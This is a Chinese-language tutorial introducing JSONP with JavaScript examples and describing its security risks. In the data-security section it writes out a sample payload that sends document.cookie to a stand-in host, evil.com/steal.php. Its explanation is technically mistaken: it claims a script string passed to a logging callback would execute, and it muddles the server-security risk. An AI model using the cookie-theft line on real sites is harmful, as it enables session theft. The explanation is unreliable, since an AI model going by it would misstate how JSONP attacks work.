jsonp的简单介绍以及其安全风险

下面是关于jsonp的简单介绍以及其安全风险的完整攻略。

什么是JSONP

JSONP（JSON with Padding）是一种跨域数据请求的技术，它通过动态创建script标签的方式，让浏览器远程请求一个脚本文件，并在请求URL后通过查询字符串传入一个回调函数名，服务器通过这个回调函数名在返回数据时将其包裹在函数调用中，客户端即可通过这个调用拿到数据并进行处理。

JSONP的优点在于它实现简单，兼容性好，能够跨域请求数据。在Web 2.0时代起，因为JavaScript和XML（AJAX）异步交互的出现，JSONP被广泛应用。例如，百度地图的API，如果需要获得地图数据，则需要使用JSONP的方式跨域获取。

以下是一个JSONP简单示例：

function getData(data) {
    console.log(data);
}

var script = document.createElement('script');
script.src = 'http://www.example.com/data?callback=getData';
document.body.appendChild(script);

在上例中，我们通过创建一个script标签并将它添加到文档中，向服务器请求数据。服务器将数据包裹在函数调用中，例如：

getData({ name: 'Tom', age: 20 });

浏览器解析到数据后将自动执行函数getData，数据将作为参数传入。

JSONP的安全风险

尽管JSONP是一种很方便的数据交互技术，但是它也有一些安全风险。

1. 数据安全

由于JSONP的数据是以JavaScript代码的形式返回的，因此你需要非常小心地筛选它。你不能让任何与服务器相关的 数据直接参与到你的应用程序中。恶意的攻击者可能会往返回的数据中插入恶意代码，来窃取用户的个人信息（例如，cookie）或者破坏其应用程序。

如下代码示例：

function getData(data) {
    console.log(data);
}

var script = document.createElement('script');
script.src = 'http://www.example.com/data?callback=getData';
document.body.appendChild(script);

在上例中，如果攻击者将数据作为如下形式返回：

getData('<script>var img=new Image();img.src="http://www.evil.com/steal.php?cookie="+document.cookie;</script>');

那么，这段代码将会被浏览器执行，同时恶意代码也将被执行，从而窃取用户的cookie信息。

2. 服务器安全

JSONP请求是通过动态创建script标签来访问远程服务器的。这意味着你不能直接控制请求的进程，以及你访问的服务器不能在你的代码中限制对其的请求。如果访问你的服务器的人数过多，服务器可能会收到过多的调用，导致服务器崩溃。

总结

JSONP是一种方便的技术，但它也有一些安全风险，特别是在处理不信任的数据时。因此，在使用JSONP时，我们需要非常仔细地审核我们的请求和返回的数据，同时需要确保我们访问的服务器是受到信任的，并尽可能地避免在程序中向外部服务器发送过多的请求。